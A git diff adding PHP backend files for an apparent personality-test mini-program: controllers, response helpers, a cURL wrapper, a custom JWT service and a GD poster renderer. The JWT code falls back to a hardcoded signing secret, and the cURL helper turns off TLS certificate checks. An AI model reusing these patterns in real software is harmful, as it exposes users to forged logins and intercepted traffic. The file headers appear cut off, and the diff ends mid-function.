diff --git a/api/app/BaseController.php b/api/app/BaseController.php
new file mode 100644
index 0000000..4f85f99
--- /dev/null
+++ b/api/app/BaseController.php
@@ -0,0 +1,121 @@
+app = $app;
+ $this->request = $this->app->request;
+
+ // 控制器初始化
+ $this->initialize();
+ }
+
+ // 初始化
+ protected function initialize()
+ {}
+
+ /**
+ * 验证数据
+ * @access protected
+ * @param array $data 数据
+ * @param string|array $validate 验证器名或者验证规则数组
+ * @param array $message 提示信息
+ * @param bool $batch 是否批量验证
+ * @return array|string|true
+ * @throws ValidateException
+ */
+ /**
+ * 从请求中解析当前登录用户(兼容中间件注入和 JWT 直接解析两种方式)
+ */
+ protected function resolveUser(): ?array
+ {
+ $user = $this->request->user ?? null;
+ if ($user) {
+ return is_array($user) ? $user : (array) $user;
+ }
+
+ $token = JwtService::getTokenFromRequest($this->request);
+ if (!$token) {
+ return null;
+ }
+
+ $payload = JwtService::verifyToken($token);
+ if (!$payload) {
+ return null;
+ }
+
+ return [
+ 'source' => $payload['source'] ?? '',
+ 'user_id' => $payload['user_id'] ?? $payload['userId'] ?? null,
+ 'userId' => $payload['user_id'] ?? $payload['userId'] ?? null,
+ ];
+ }
+
+ protected function validate(array $data, $validate, array $message = [], bool $batch = false)
+ {
+ if (is_array($validate)) {
+ $v = new Validate();
+ $v->rule($validate);
+ } else {
+ if (strpos($validate, '.')) {
+ // 支持场景
+ [$validate, $scene] = explode('.', $validate);
+ }
+ $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate);
+ $v = new $class();
+ if (!empty($scene)) {
+ $v->scene($scene);
+ }
+ }
+
+ $v->message($message);
+
+ // 是否批量验证
+ if ($batch || $this->batchValidate) {
+ $v->batch(true);
+ }
+
+ return $v->failException(true)->check($data);
+ }
+}
+
+
diff --git a/api/app/common.php b/api/app/common.php
new file mode 100644
index 0000000..f9b2487
--- /dev/null
+++ b/api/app/common.php
@@ -0,0 +1,171 @@
+ $code,
+ 'message' => $message,
+ 'data' => $data
+ ]);
+}
+
+/**
+ * 成功响应
+ * @param mixed $data 数据
+ * @param string $message 消息
+ * @return \think\response\Json
+ */
+function success($data = null, $message = 'success')
+{
+ return json_response(200, $message, $data);
+}
+
+/**
+ * 错误响应
+ * @param string $message 错误消息
+ * @param int $code 错误码
+ * @return \think\response\Json
+ */
+function error($message = 'error', $code = 400)
+{
+ return json_response($code, $message, null);
+}
+
+/**
+ * 分页响应
+ * @param array $list 列表数据
+ * @param int $total 总数
+ * @param int $page 当前页
+ * @param int $pageSize 每页数量
+ * @return \think\response\Json
+ */
+function paginate_response($list, $total, $page = 1, $pageSize = 10)
+{
+ return success([
+ 'list' => $list,
+ 'total' => $total,
+ 'page' => $page,
+ 'pageSize' => $pageSize,
+ 'hasMore' => ($page * $pageSize) < $total
+ ]);
+}
+
+if (!function_exists('requestCurl')) {
+ /**
+ * @param string $url 请求的链接
+ * @param array $params 请求附带的参数
+ * @param string $method 请求的方式, 支持GET, POST, PUT, DELETE等
+ * @param array $header 头部
+ * @param string $type 数据类型,支持dataBuild、json等
+ * @return bool|string
+ */
+ function requestCurl($url, $params = [], $method = 'GET', $header = [], $type = 'dataBuild')
+ {
+ $str = '';
+ if (!empty($url)) {
+ try {
+ $ch = curl_init();
+
+ // 处理GET请求的参数
+ if (strtoupper($method) == 'GET' && !empty($params)) {
+ $url = $url . '?' . dataBuild($params);
+ }
+
+ curl_setopt($ch, CURLOPT_URL, $url);
+ curl_setopt($ch, CURLOPT_HEADER, 0);
+ curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+ curl_setopt($ch, CURLOPT_TIMEOUT, 30); //30秒超时
+ curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
+ curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
+
+ // 处理不同的请求方法
+ if (strtoupper($method) != 'GET') {
+ // 设置请求方法
+ curl_setopt($ch, CURLOPT_CUSTOMREQUEST, strtoupper($method));
+
+ // 处理参数格式
+ if ($type == 'dataBuild') {
+ $params = dataBuild($params);
+ } elseif ($type == 'json') {
+ $params = json_encode($params);
+ } else {
+ $params = dataBuild($params);
+ }
+
+ // 设置请求体
+ curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
+ }
+
+ curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); //是否验证对等证书,1则验证,0则不验证
+ curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
+ $str = curl_exec($ch);
+ curl_close($ch);
+ } catch (Exception $e) {
+ $str = '';
+ }
+ }
+ return $str;
+ }
+}
+
+
+if (!function_exists('dataBuild')) {
+ function dataBuild($array)
+ {
+ if (!is_array($array)) {
+ return $array;
+ }
+
+ // 处理嵌套数组
+ foreach ($array as $key => $value) {
+ if (is_array($value)) {
+ $array[$key] = json_encode($value);
+ }
+ }
+
+ return http_build_query($array);
+ }
+}
+
+
+if (!function_exists('setHeader')) {
+ /**
+ * 设置头部
+ *
+ * @param array $headerData 头部数组
+ * @param string $authorization
+ * @param string $type 类型 默认json (json,plain)
+ * @return array
+ */
+ function setHeader($headerData = [], $authorization = '', $type = '')
+ {
+ $header = $headerData;
+
+ switch ($type) {
+ case 'json':
+ $header[] = 'Content-Type:application/json';
+ break;
+ case 'html' :
+ $header[] = 'Content-Type:text/html';
+ break;
+ case 'plain' :
+ $header[] = 'Content-Type:text/plain';
+ break;
+ default:
+ $header[] = 'Content-Type:application/json';
+ }
+// $header[] = $type == 'plain' ? 'Content-Type:text/plain' : 'Content-Type: application/json';
+ if ($authorization !== "") $header[] = 'Authorization:Bearer ' . $authorization;
+ return $header;
+ }
+}
+
+
diff --git a/api/app/common/controller/BaseController.php b/api/app/common/controller/BaseController.php
new file mode 100644
index 0000000..c0d2fe3
--- /dev/null
+++ b/api/app/common/controller/BaseController.php
@@ -0,0 +1,124 @@
+app = $app;
+ $this->request = $this->app->request;
+
+ // 控制器初始化
+ $this->initialize();
+ }
+
+ // 初始化
+ protected function initialize()
+ {}
+
+ /**
+ * 成功响应
+ * @param mixed $data 数据
+ * @param string $message 消息
+ * @return \think\response\Json
+ */
+ protected function success($data = null, $message = 'success')
+ {
+ $response = Response::create([
+ 'code' => 200,
+ 'message' => $message,
+ 'data' => $data
+ ], 'json')->code(200);
+
+ $response->header([
+ 'Content-Type' => 'application/json; charset=utf-8'
+ ]);
+
+ return $response;
+ }
+
+ /**
+ * 错误响应
+ * @param string $message 错误消息
+ * @param int $code 错误码
+ * @return \think\response\Json
+ */
+ protected function error($message = 'error', $code = 400)
+ {
+ $response = Response::create([
+ 'code' => $code,
+ 'message' => $message,
+ 'data' => null
+ ], 'json')->code($code);
+
+ $response->header([
+ 'Content-Type' => 'application/json; charset=utf-8'
+ ]);
+
+ return $response;
+ }
+
+ /**
+ * 验证数据
+ * @access protected
+ * @param array $data 数据
+ * @param string|array $validate 验证器名或者验证规则数组
+ * @param array $message 提示信息
+ * @param bool $batch 是否批量验证
+ * @return array|string|true
+ * @throws ValidateException
+ */
+ protected function validate(array $data, $validate, array $message = [], bool $batch = false)
+ {
+ if (is_array($validate)) {
+ $v = new Validate();
+ $v->rule($validate);
+ } else {
+ if (strpos($validate, '.')) {
+ // 支持场景
+ [$validate, $scene] = explode('.', $validate);
+ }
+ $class = false !== strpos($validate, '\\') ? $validate : $this->app->parseClass('validate', $validate);
+ $v = new $class();
+ if (!empty($scene)) {
+ $v->scene($scene);
+ }
+ }
+
+ $v->message($message);
+
+ // 是否批量验证
+ if ($batch) {
+ $v->batch(true);
+ }
+
+ return $v->failException(true)->check($data);
+ }
+}
+
diff --git a/api/app/common/service/JwtService.php b/api/app/common/service/JwtService.php
new file mode 100644
index 0000000..a4dc3af
--- /dev/null
+++ b/api/app/common/service/JwtService.php
@@ -0,0 +1,132 @@
+ 'JWT', 'alg' => 'HS256']));
+ $payloadStr = base64_encode(json_encode($payload));
+ $signature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret);
+
+ $token = $header . '.' . $payloadStr . '.' . $signature;
+
+ // 将Token存储到缓存(用于刷新和注销),带 source 区分小程序用户与管理员
+ $userId = $payload['userId'] ?? $payload['user_id'] ?? null;
+ if ($userId !== null) {
+ $key = self::tokenCacheKey($userId, $payload['source'] ?? null);
+ Cache::set($key, $token, $expire);
+ }
+
+ return $token;
+ }
+
+ /**
+ * 验证Token
+ * @param string $token
+ * @return array|false 返回载荷数据或false
+ */
+ public static function verifyToken(string $token)
+ {
+ $parts = explode('.', $token);
+ if (count($parts) !== 3) {
+ return false;
+ }
+
+ [$header, $payloadStr, $signature] = $parts;
+
+ // 验证签名
+ $secret = config('jwt.secret', 'mbti_jwt_secret_key_2024');
+ $expectedSignature = hash_hmac('sha256', $header . '.' . $payloadStr, $secret);
+
+ if ($signature !== $expectedSignature) {
+ return false;
+ }
+
+ // 解析载荷
+ $payload = json_decode(base64_decode($payloadStr), true);
+ if (!$payload) {
+ return false;
+ }
+
+ // 检查过期时间
+ if (isset($payload['exp']) && $payload['exp'] < time()) {
+ return false;
+ }
+
+ return $payload;
+ }
+
+ /**
+ * 刷新Token
+ * @param string $token
+ * @return string|false 返回新Token或false
+ */
+ public static function refreshToken(string $token)
+ {
+ $payload = self::verifyToken($token);
+ if (!$payload) {
+ return false;
+ }
+
+ // 移除过期时间字段,重新生成
+ unset($payload['exp'], $payload['iat']);
+
+ return self::generateToken($payload);
+ }
+
+ /**
+ * Token 缓存键(区分来源,避免与管理员同 id 冲突)
+ */
+ public static function tokenCacheKey($userId, ?string $source = null): string
+ {
+ $prefix = $source ? 'jwt_token_' . $source . '_' : 'jwt_token_';
+ return $prefix . $userId;
+ }
+
+ /**
+ * 删除Token(注销)
+ * @param int $userId
+ * @param string|null $source 来源,如 wechat,不传则按管理员 token 键删除
+ * @return bool
+ */
+ public static function deleteToken(int $userId, ?string $source = null): bool
+ {
+ return Cache::delete(self::tokenCacheKey($userId, $source));
+ }
+
+ /**
+ * 从请求头获取Token
+ * @param \think\Request $request
+ * @return string|null
+ */
+ public static function getTokenFromRequest($request): ?string
+ {
+ $authorization = $request->header('Authorization', '');
+
+ if ($authorization && preg_match('/Bearer\s+(.*)$/i', $authorization, $matches)) {
+ return $matches[1];
+ }
+
+ return null;
+ }
+}
+
diff --git a/api/app/common/service/PosterService.php b/api/app/common/service/PosterService.php
new file mode 100644
index 0000000..77ef301
--- /dev/null
+++ b/api/app/common/service/PosterService.php
@@ -0,0 +1,612 @@
+ [显示名, 文件名]
+ * 文件存放于 public/fonts/ 目录
+ */
+ private const FONT_MAP = [
+ 'noto-sans' => ['思源黑体', 'NotoSansCJKsc-Regular.otf'],
+ 'noto-serif' => ['思源宋体', 'NotoSerifCJKsc-Regular.otf'],
+ 'alimama' => ['阿里妈妈方圆体', 'AlimamaFangYuanTiVF.ttf'],
+ 'wqy-microhei' => ['文泉驿微米黑', 'wqy-microhei.ttc'],
+ ];
+
+ /**
+ * 返回服务器上实际可用的字体列表
+ * @return array [ ['key'=>'noto-sans','name'=>'思源黑体'], ... ]
+ */
+ public static function getAvailableFonts(): array
+ {
+ $base = root_path() . 'public/fonts/';
+ $list = [];
+ foreach (self::FONT_MAP as $key => [$name, $file]) {
+ if (file_exists($base . $file)) {
+ $list[] = ['key' => $key, 'name' => $name];
+ }
+ }
+ // 兼容旧字体
+ $legacy = ['simhei.ttf' => '黑体', 'msyh.ttf' => '微软雅黑'];
+ foreach ($legacy as $file => $name) {
+ if (file_exists($base . $file)) {
+ $list[] = ['key' => pathinfo($file, PATHINFO_FILENAME), 'name' => $name];
+ }
+ }
+ return $list;
+ }
+
+ // ─────────────────────────────────────────────
+ // NEW:根据超管可视化配置渲染海报
+ // ─────────────────────────────────────────────
+
+ /**
+ * 读取 poster_config 并渲染,若无配置则回退到旧版 build()
+ * @param int|null $enterpriseId 企业 ID,优先读 enterprise_id={id} 行,无则降级到 enterprise_id=0 全局行
+ */
+ public static function buildFromConfig(array $user, string $qrBinary, ?string $avatarBinary = null, ?int $enterpriseId = null): string
+ {
+ $raw = null;
+
+ // 1. 优先读取企业专属海报配置(enterprise_id 列)
+ if ($enterpriseId > 0) {
+ $eidRow = Db::name('system_config')
+ ->where('key', 'poster_config')
+ ->where('enterprise_id', $enterpriseId)
+ ->find();
+ if ($eidRow && !empty($eidRow['value'])) {
+ $raw = $eidRow['value'];
+ }
+ }
+
+ // 2. 降级到全局配置(enterprise_id=0)
+ if ($raw === null) {
+ $row = Db::name('system_config')
+ ->where('key', 'poster_config')
+ ->where('enterprise_id', 0)
+ ->find();
+ $raw = $row['value'] ?? null;
+ }
+
+ // 安全解码:处理可能的多重 JSON 编码
+ $cfg = null;
+ if ($raw) {
+ $val = $raw;
+ for ($i = 0; $i < 5 && is_string($val); $i++) {
+ $decoded = json_decode($val, true);
+ if ($decoded === null && json_last_error() !== JSON_ERROR_NONE) break;
+ $val = $decoded;
+ }
+ $cfg = is_array($val) ? $val : null;
+ }
+
+ if (empty($cfg) || empty($cfg['elements']) || !is_array($cfg['elements'])) {
+ return self::build($user, $qrBinary, $avatarBinary);
+ }
+
+ return self::renderConfig($cfg, $user, $qrBinary, $avatarBinary);
+ }
+
+ /**
+ * 根据配置数组渲染海报
+ */
+ private static function renderConfig(array $cfg, array $user, string $qrBinary, ?string $avatarBinary): string
+ {
+ $s = self::SCALE;
+ $cw = self::CANVAS_W * $s;
+ $ch = self::CANVAS_H * $s;
+
+ $img = imagecreatetruecolor($cw, $ch);
+ if (!$img) throw new \RuntimeException('GD image create failed');
+ imagesavealpha($img, true);
+ imagealphablending($img, true);
+
+ // 背景颜色
+ $bgColorHex = $cfg['bgColor'] ?? '#ffffff';
+ $bgRgb = self::parseColorToRgb($bgColorHex);
+ $bgColor = imagecolorallocate($img, $bgRgb[0], $bgRgb[1], $bgRgb[2]);
+ imagefilledrectangle($img, 0, 0, $cw - 1, $ch - 1, $bgColor);
+
+ // 背景图片
+ if (!empty($cfg['bgImage'])) {
+ $bgBin = self::fetchImage($cfg['bgImage']);
+ if ($bgBin) {
+ $bgImg = @imagecreatefromstring($bgBin);
+ if ($bgImg) {
+ imagecopyresampled($img, $bgImg, 0, 0, 0, 0, $cw, $ch, imagesx($bgImg), imagesy($bgImg));
+ imagedestroy($bgImg);
+ }
+ }
+ }
+
+ // 缓存图像资源
+ $qrRes = null;
+ $avatarRes = null;
+
+ // 预先查询用户最近的测试结果(mbti / pdp / disc / face)
+ $testResults = self::fetchLatestTestResults((int)($user['id'] ?? 0));
+
+ foreach ($cfg['elements'] as $el) {
+ $type = $el['type'] ?? '';
+ $x = (int)(($el['x'] ?? 0) * $s);
+ $y = (int)(($el['y'] ?? 0) * $s);
+ $w = (int)(($el['w'] ?? 80) * $s);
+ $h = (int)(($el['h'] ?? 80) * $s);
+
+ $fontKey = $el['fontFamily'] ?? null;
+ // 对齐方式:优先 align 字段,兼容旧 center 字段
+ $align = $el['align'] ?? (!empty($el['center']) ? 'center' : 'left');
+
+ switch ($type) {
+ case 'text':
+ $text = $el['content'] ?? '';
+ $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s));
+ $colorHex = $el['color'] ?? '#333333';
+ $bold = !empty($el['bold']);
+ $colorInt = self::allocateHexColor($img, $colorHex);
+ self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey);
+ break;
+
+ case 'nickname':
+ $text = mb_substr($user['nickname'] ?? '好友', 0, 20);
+ $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s));
+ $colorHex = $el['color'] ?? '#333333';
+ $bold = !empty($el['bold']);
+ $colorInt = self::allocateHexColor($img, $colorHex);
+ self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey);
+ break;
+
+ case 'avatar':
+ if ($avatarBinary) {
+ if (!$avatarRes) $avatarRes = @imagecreatefromstring($avatarBinary);
+ if ($avatarRes) {
+ $shape = $el['shape'] ?? 'circle';
+ self::drawImageElement($img, $avatarRes, $x, $y, $w, $h, $shape);
+ }
+ }
+ break;
+
+ case 'qrcode':
+ if (!$qrRes) $qrRes = @imagecreatefromstring($qrBinary);
+ if ($qrRes) {
+ self::drawImageElement($img, $qrRes, $x, $y, $w, $h, 'square');
+ }
+ break;
+
+ case 'image':
+ if (!empty($el['url'])) {
+ $bin = self::fetchImage($el['url']);
+ if ($bin) {
+ $staticImg = @imagecreatefromstring($bin);
+ if ($staticImg) {
+ $shape = $el['shape'] ?? 'square';
+ self::drawImageElement($img, $staticImg, $x, $y, $w, $h, $shape);
+ imagedestroy($staticImg);
+ }
+ }
+ }
+ break;
+
+ case 'mbti':
+ case 'pdp':
+ case 'disc':
+ $text = $testResults[$type] ?? ($el['content'] ?? strtoupper($type));
+ $fontSize = max(8, (int)(($el['fontSize'] ?? 16) * $s));
+ $colorHex = $el['color'] ?? '#333333';
+ $bold = !empty($el['bold']);
+ $colorInt = self::allocateHexColor($img, $colorHex);
+ self::drawTextBlock($img, $x, $y, $w, $h, $text, $colorInt, $fontSize, $bold, $align, $fontKey);
+ break;
+ }
+ }
+
+ if ($qrRes) imagedestroy($qrRes);
+ if ($avatarRes) imagedestroy($avatarRes);
+
+ ob_start();
+ imagepng($img);
+ $png = ob_get_clean();
+ imagedestroy($img);
+ return $png ?: '';
+ }
+
+ /**
+ * 查询用户最近各类型测试的 resultText
+ * 复用 Test::_formatRecentRow 的解析逻辑
+ * @return array ['mbti' => 'ESTP', 'pdp' => '老虎型', 'disc' => 'D型']
+ */
+ private static function fetchLatestTestResults(int $userId): array
+ {
+ $out = [];
+ if ($userId <= 0) return $out;
+
+ $types = ['face', 'mbti', 'pdp', 'disc'];
+ foreach ($types as $t) {
+ $row = Db::name('test_results')
+ ->where('userId', $userId)
+ ->where('testType', $t)
+ ->order('createdAt', 'desc')
+ ->field('resultData, testType')
+ ->find();
+ if (!$row || empty($row['resultData'])) continue;
+ $raw = $row['resultData'];
+ $data = is_string($raw) ? json_decode($raw, true) : $raw;
+ if (!is_array($data)) continue;
+
+ switch ($t) {
+ case 'face':
+ // face 结果中包含 mbti/pdp/disc 子结构
+ if (!isset($out['mbti'])) {
+ $v = '';
+ if (isset($data['mbti']['type'])) $v = $data['mbti']['type'];
+ elseif (isset($data['mbti']) && is_scalar($data['mbti'])) $v = (string)$data['mbti'];
+ if ($v !== '') $out['mbti'] = $v;
+ }
+ if (!isset($out['pdp'])) {
+ $v = '';
+ if (isset($data['pdp']['type'])) $v = $data['pdp']['type'];
+ elseif (isset($data['pdp']) && is_scalar($data['pdp'])) $v = (string)$data['pdp'];
+ if ($v !== '') $out['pdp'] = $v;
+ }
+ if (!isset($out['disc'])) {
+ $v = '';
+ if (isset($data['disc']['primary'])) $v = $data['disc']['primary'] . '型';
+ elseif (isset($data['disc']) && is_scalar($data['disc'])) $v = (string)$data['disc'];
+ if ($v !== '') $out['disc'] = $v;
+ }
+ break;
+ case 'mbti':
+ if (!isset($out['mbti'])) {
+ $v = $data['mbtiType'] ?? $data['mbti'] ?? '';
+ if (is_array($v)) $v = $v['type'] ?? '';
+ if ((string)$v !== '') $out['mbti'] = (string)$v;
+ }
+ break;
+ case 'pdp':
+ if (!isset($out['pdp'])) {
+ $v = $data['description']['type'] ?? $data['pdp'] ?? '';
+ if (is_array($v)) $v = $v['type'] ?? '';
+ if ((string)$v !== '') $out['pdp'] = (string)$v;
+ }
+ break;
+ case 'disc':
+ if (!isset($out['disc'])) {
+ $v = $data['dominantType'] ?? $data['disc'] ?? '';
+ if (is_array($v)) $v = $v['type'] ?? $v['primary'] ?? '';
+ if ((string)$v !== '') $out['disc'] = (string)$v . '型';
+ }
+ break;
+ }
+ }
+ return $out;
+ }
+
+ /**
+ * 在指定区域内绘制文字(imagettftext 的 y 为基线坐标)
+ */
+ private static function drawTextBlock($img, int $x, int $y, int $w, int $h, string $text, int $color, int $fontSize, bool $bold, string $align = 'left', ?string $fontKey = null): void
+ {
+ $font = self::getFontPath($fontKey);
+ if ($font && function_exists('imagettftext')) {
+ $textW = self::ttfTextWidth($font, $fontSize, $text);
+ switch ($align) {
+ case 'center': $drawX = $x + (int)(($w - $textW) / 2); break;
+ case 'right': $drawX = $x + $w - $textW - 6; break;
+ default: $drawX = $x + 6; break;
+ }
+ $drawY = $y + (int)(($h + $fontSize * 0.8) / 2);
+ imagettftext($img, $fontSize, 0, $drawX, $drawY, $color, $font, $text);
+ } else {
+ $f = $fontSize <= 16 ? 4 : 5;
+ $textW = imagefontwidth($f) * mb_strlen($text);
+ switch ($align) {
+ case 'center': $drawX = $x + (int)(($w - $textW) / 2); break;
+ case 'right': $drawX = $x + $w - $textW - 4; break;
+ default: $drawX = $x + 4; break;
+ }
+ imagestring($img, $f, $drawX, $y + (int)(($h - imagefontheight($f)) / 2), preg_replace('/[^\x20-\x7e]/', '?', $text), $color);
+ }
+ }
+
+ /**
+ * 估算 TTF 文字宽度(近似)
+ */
+ private static function ttfTextWidth(string $font, int $size, string $text): int
+ {
+ if (function_exists('imagettfbbox')) {
+ $box = imagettfbbox($size, 0, $font, $text);
+ return $box ? abs($box[4] - $box[0]) : $size * mb_strlen($text);
+ }
+ return $size * mb_strlen($text);
+ }
+
+ /**
+ * 将图像资源绘制到画布(支持圆形/方形裁剪)
+ */
+ private static function drawImageElement($img, $src, int $x, int $y, int $w, int $h, string $shape): void
+ {
+ $srcW = imagesx($src);
+ $srcH = imagesy($src);
+
+ if ($shape === 'circle') {
+ // 先绘制到临时图像再做圆形遮罩
+ $tmp = imagecreatetruecolor($w, $h);
+ imagesavealpha($tmp, true);
+ imagealphablending($tmp, false);
+ $transparent = imagecolorallocatealpha($tmp, 0, 0, 0, 127);
+ imagefilledrectangle($tmp, 0, 0, $w - 1, $h - 1, $transparent);
+ imagealphablending($tmp, true);
+ imagecopyresampled($tmp, $src, 0, 0, 0, 0, $w, $h, $srcW, $srcH);
+
+ // 圆形遮罩(逐像素)—— 仅在 GD 无更好方案时使用
+ $mask = imagecreatetruecolor($w, $h);
+ imagesavealpha($mask, true);
+ imagealphablending($mask, false);
+ imagefilledrectangle($mask, 0, 0, $w - 1, $h - 1, imagecolorallocatealpha($mask, 0, 0, 0, 127));
+ imagealphablending($mask, true);
+ imagefilledellipse($mask, (int)($w / 2), (int)($h / 2), $w, $h, imagecolorallocate($mask, 255, 255, 255));
+
+ // 将 tmp 叠加到主图(遮罩内白外黑,白色表示保留区域)
+ for ($px = 0; $px < $w; $px++) {
+ for ($py = 0; $py < $h; $py++) {
+ $mPx = imagecolorat($mask, $px, $py);
+ $rMask = ($mPx >> 16) & 0xFF;
+ if ($rMask > 128) {
+ $srcPx = imagecolorat($tmp, $px, $py);
+ $r = ($srcPx >> 16) & 0xFF;
+ $g = ($srcPx >> 8) & 0xFF;
+ $b = $srcPx & 0xFF;
+ $c = imagecolorallocate($img, $r, $g, $b);
+ imagesetpixel($img, $x + $px, $y + $py, $c);
+ }
+ }
+ }
+ imagedestroy($tmp);
+ imagedestroy($mask);
+ } else {
+ imagecopyresampled($img, $src, $x, $y, 0, 0, $w, $h, $srcW, $srcH);
+ }
+ }
+
+ /**
+ * 将颜色字符串解析为 RGB 数组
+ * 支持 #fff、#ffffff、rgba(r,g,b,a)、rgb(r,g,b)、数组 [r,g,b]
+ */
+ private static function parseColorToRgb($color): array
+ {
+ if (is_array($color)) {
+ $r = (int)($color['r'] ?? $color[0] ?? 51);
+ $g = (int)($color['g'] ?? $color[1] ?? 51);
+ $b = (int)($color['b'] ?? $color[2] ?? 51);
+ return [min(255, max(0, $r)), min(255, max(0, $g)), min(255, max(0, $b))];
+ }
+ if (!is_string($color) && !is_scalar($color)) {
+ return [51, 51, 51];
+ }
+ $s = trim((string)$color);
+ if ($s === '') {
+ return [51, 51, 51];
+ }
+ // rgba(r,g,b,a) 或 rgb(r,g,b)
+ if (preg_match('/^rgba?\s*\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)/i', $s, $m)) {
+ return [(int)min(255, $m[1]), (int)min(255, $m[2]), (int)min(255, $m[3])];
+ }
+ // 仅保留 # 后合法十六进制字符
+ $hex = preg_replace('/[^0-9a-fA-F]/', '', ltrim($s, '#'));
+ if (strlen($hex) === 3) {
+ $hex = $hex[0].$hex[0].$hex[1].$hex[1].$hex[2].$hex[2];
+ }
+ if (strlen($hex) !== 6) {
+ return [51, 51, 51];
+ }
+ $r = (int)hexdec(substr($hex, 0, 2));
+ $g = (int)hexdec(substr($hex, 2, 2));
+ $b = (int)hexdec(substr($hex, 4, 2));
+ return [min(255, $r), min(255, $g), min(255, $b)];
+ }
+
+ private static function allocateHexColor($img, $hex): int
+ {
+ [$r, $g, $b] = self::parseColorToRgb($hex);
+ return imagecolorallocate($img, $r, $g, $b);
+ }
+
+ /**
+ * 根据字体 key 获取字体文件路径;key 为空则返回第一个可用字体
+ */
+ private static function getFontPath(?string $fontKey = null): ?string
+ {
+ $base = root_path() . 'public/fonts/';
+
+ // 按 key 精确查找
+ if ($fontKey) {
+ if (isset(self::FONT_MAP[$fontKey])) {
+ $p = $base . self::FONT_MAP[$fontKey][1];
+ if (file_exists($p)) return $p;
+ }
+ // 兼容旧字体 key(如 simhei / msyh)
+ $legacy = $base . $fontKey . '.ttf';
+ if (file_exists($legacy)) return $legacy;
+ }
+
+ // 回退:按优先级返回第一个可用字体
+ foreach (self::FONT_MAP as [$name, $file]) {
+ $p = $base . $file;
+ if (file_exists($p)) return $p;
+ }
+ $fallbacks = [$base . 'simhei.ttf', $base . 'msyh.ttf', '/usr/share/fonts/truetype/wqy/wqy-microhei.ttc'];
+ foreach ($fallbacks as $p) {
+ if (file_exists($p)) return $p;
+ }
+ return null;
+ }
+
+ private static function drawText($img, int $x, int $y, string $text, int $color, int $size = 14): void
+ {
+ $font = self::getFontPath();
+ if ($font && function_exists('imagettftext')) {
+ imagettftext($img, $size, 0, $x, $y + $size, $color, $font, $text);
+ } else {
+ $f = $size <= 12 ? 4 : 5;
+ imagestring($img, $f, $x, $y, preg_replace('/[^\x20-\x7e]/', '', $text) ?: $text, $color);
+ }
+ }
+
+ /**
+ * 合成推广海报 PNG 二进制
+ * @param array $user 当前用户 {id, nickname, avatar}
+ * @param string $qrBinary 小程序码 PNG 二进制
+ * @param string|null $avatarBinary 头像二进制(已下载),为空则跳过
+ */
+ public static function build(array $user, string $qrBinary, ?string $avatarBinary = null): string
+ {
+ $w = self::WIDTH;
+ $h = self::HEIGHT;
+ $img = imagecreatetruecolor($w, $h);
+ if (!$img) {
+ throw new \RuntimeException('GD image create failed');
+ }
+ imagesavealpha($img, true);
+ imagealphablending($img, true);
+
+ self::drawGradient($img, 0, 0, $w, (int)($h * 0.45), [0xFF, 0xD1, 0xE3], [0xE9, 0xD5, 0xFF]);
+ $white = imagecolorallocate($img, 255, 255, 255);
+ imagefilledrectangle($img, 0, (int)($h * 0.4), $w, $h, $white);
+
+ $primary = imagecolorallocate($img, 244, 63, 94);
+ $secondary = imagecolorallocate($img, 139, 92, 246);
+ $orange = imagecolorallocate($img, 249, 115, 22);
+ $dark = imagecolorallocate($img, 30, 41, 59);
+ $gray = imagecolorallocate($img, 100, 116, 139);
+ $lightGray = imagecolorallocate($img, 148, 163, 184);
+ $cx = (int)($w / 2);
+
+ self::drawRoundedRect($img, 30, 50, 60, 20, 10, imagecolorallocatealpha($img, 255, 255, 255, 80));
+ self::drawRoundedRect($img, 130, 50, 60, 20, 10, $primary);
+ self::drawText($img, 45, 52, '专业分析', $primary, 10);
+ self::drawText($img, 145, 52, '结果精准', $white, 10);
+
+ self::drawText($img, $cx - 80, 100, 'MBTI 神仙测试', $dark, 22);
+
+ self::drawRoundedRect($img, $cx - 80, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50));
+ self::drawRoundedRect($img, $cx + 5, 150, 65, 24, 8, imagecolorallocatealpha($img, 255, 255, 255, 50));
+ self::drawText($img, $cx - 70, 155, 'INTJ', $primary, 10);
+ self::drawText($img, $cx - 45, 155, '战略家', $gray, 10);
+ self::drawText($img, $cx + 15, 155, 'PDP', $secondary, 10);
+ self::drawText($img, $cx + 40, 155, '猫头鹰', $gray, 10);
+
+ $gridY = 220;
+ $gridW = (int)(($w - 80) / 3);
+ self::drawStatCard($img, 30, $gridY, $gridW, 70, '100+', '性格档案', $primary);
+ self::drawStatCard($img, 30 + $gridW + 10, $gridY, $gridW, 70, '0%', '好友折扣', $secondary);
+ self::drawStatCard($img, 30 + ($gridW + 10) * 2, $gridY, $gridW, 70, '90%', '收益分红', $orange);
+
+ $cardY = 320;
+ self::drawRoundedRect($img, 30, $cardY, $w - 60, 180, 20, $white);
+ imagefilledrectangle($img, 45, $cardY + 18, 49, $cardY + 34, $primary);
+ self::drawText($img, 55, $cardY + 15, '完整版性格深度解析', $dark, 12);
+ $bullets = [
+ '你的决策风格在高压场景下会如何变化?',
+ '在团队中更适合担当怎样的关键角色?',
+ '哪些性格盲区最容易拖累你的发展?',
+ ];
+ foreach ($bullets as $i => $t) {
+ self::drawText($img, 50, $cardY + 50 + $i * 28, '• ' . $t, $gray, 10);
+ }
+
+ $recY = 530;
+ self::drawRoundedRect($img, $cx - 100, $recY, 200, 36, 18, imagecolorallocate($img, 248, 250, 252));
+ if ($avatarBinary) {
+ $avatar = @imagecreatefromstring($avatarBinary);
+ if ($avatar) {
+ imagecopyresampled($img, $avatar, $cx - 92, $recY + 6, 0, 0, 24, 24, imagesx($avatar), imagesy($avatar));
+ imagedestroy($avatar);
+ }
+ }
+ $nickname = mb_substr($user['nickname'] ?? '好友', 0, 8);
+ self::drawText($img, $cx - 95, $recY + 12, '由 ' . $nickname . ' 推荐给你', $gray, 10);
+
+ $qrY = 620;
